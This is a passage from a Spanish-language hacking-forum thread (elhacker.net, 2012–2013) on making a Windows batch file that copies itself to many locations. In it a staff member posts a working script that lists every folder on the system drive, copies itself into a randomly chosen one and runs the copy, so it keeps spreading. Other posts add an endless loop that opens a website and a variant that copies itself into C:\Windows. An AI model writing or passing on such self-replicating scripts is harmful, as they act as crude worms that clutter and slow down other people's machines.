elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Crear archivo .Bat que se copie a si mismo en diversos lugares
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Crear archivo .Bat que se copie a si mismo en diversos lugares  (Leído 8,339 veces)
xpaRtanus

Desconectado Desconectado

Mensajes: 45


Ver Perfil
Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
« Respuesta #10 en: 4 Mayo 2012, 16:43 pm »

Que cada vez qe ejecutes el archivo ___.bat se copie a si mismo en un directorio a parte de k ejecute una accion como:
@echo off
echo Hola
pause>nul
:bucle
start foro.elhacker.net
goto :bucle


En línea

$Edu$


Desconectado Desconectado

Mensajes: 1.842



Ver Perfil
Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
« Respuesta #11 en: 4 Mayo 2012, 16:53 pm »

Pero a que directorio? Elektro.. se puede hacer "cd %directorio%" mientras que %directorio% es una variable que contiene rutas de directorios que va cambiando al azar? no se si me entiendes y talvez no se puede. Creo que es lo que quiere el usuario, que por ejemplo la primera vez haga un:

Copy /y %0 C:\hola\

La segunda vez q se ejecute hara:

Copy /y %0 C:\Archivos de programa\

y todo asi, mientras que esas rutas son las que se toman al azar


pd: Si no se puede.. como se hace para ingresar al directorio que esta al lado del bat? con "cd ..." pero no se que poner luego, si no se sabe cual es el directorio y ademas si hay muchos directorios no se cual se tomaria primero.


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.700



Ver Perfil
Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
« Respuesta #12 en: 4 Mayo 2012, 18:46 pm »

Pero a que directorio? Elektro.. se puede hacer "cd %directorio%" mientras que %directorio% es una variable que contiene rutas de directorios que va cambiando al azar? no se si me entiendes y talvez no se puede. Creo que es lo que quiere el usuario, que por ejemplo la primera vez haga un:
Si, se puede, se me ocurre una manera:

Código
  1. :: Listar todas las carpetas del disco
  2. Dir /B /S /AD "%homedrive%\" > Lista.txt
  3.  
  4. :: Una funcion para randomizar la lista, y tomar una linea de la lista aleatoriamente.
  5. For /L + Lista.txt...
  6. For /F + %RANDOM% + Lista.txt...
  7. (por ejemplo)
  8.  

pd: Si no se puede.. como se hace para ingresar al directorio que esta al lado del bat? con "cd ..." pero no se que poner luego, si no se sabe cual es el directorio y ademas si hay muchos directorios no se cual se tomaria primero.

Creo que te refieres a esto:
Código
  1. PUSHD "%~dp0"



Código
  1. @echo off
  2.  
  3. If "%~1" EQU "" (Dir /B /S /AD "%HOMEDRIVE%\" > "%TEMP%\Dirs.txt")
  4.  
  5. :Commands
  6. echo %0
  7. echo foro.elhacker.net | MORE
  8.  
  9. For /F "Tokens=*" %%a in ('Type "%TEMP%\Dirs.txt" ^| MORE +%RANDOM%') Do (Set "Folder=%%a" & Goto :Break)
  10.  
  11. :Break
  12. Copy %0 "%Folder%\" 1>NUL 2>&1 && CMD /C "%Folder%\%~xn0" NEXT || Goto :Copy

PD: Va algo lento
En línea


$Edu$


Desconectado Desconectado

Mensajes: 1.842



Ver Perfil
Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
« Respuesta #13 en: 4 Mayo 2012, 18:52 pm »

Ni se me ocurrira correrlo xD pero entendi ya, gracias!
En línea

xpaRtanus

Desconectado Desconectado

Mensajes: 45


Ver Perfil
Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
« Respuesta #14 en: 11 Mayo 2012, 14:44 pm »

Muxaaas gracias a todos sobre todo a ti ElectroHacker ers el ***** jefe del batch
En línea

nrzamel

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
« Respuesta #15 en: 26 Mayo 2013, 23:58 pm »

Hola y como se podria hace para q ese archivo antes de copiarse en un directorio compruebe si existe si existe q no se copia y si no existe q se copie

    @Echo off
    Set "Destino=C:\Windows\"
    Copy "%~0" "%Destino%"
    pause
    Exit
que abria q agragarle alii
gracias de antemano
En línea

Meine programmen

Desconectado Desconectado

Mensajes: 121



Ver Perfil
Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
« Respuesta #16 en: 27 Mayo 2013, 16:12 pm »

Hola y como se podria hace para q ese archivo antes de copiarse en un directorio compruebe si existe si existe q no se copia y si no existe q se copie

    @Echo off
    Set "Destino=C:\Windows\"
    Copy "%~0" "%Destino%"
    pause
    Exit
que abria q agragarle alii
gracias de antemano
Pon antes del copy un
Código:
IF EXIST "%Destino%"
En línea

REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines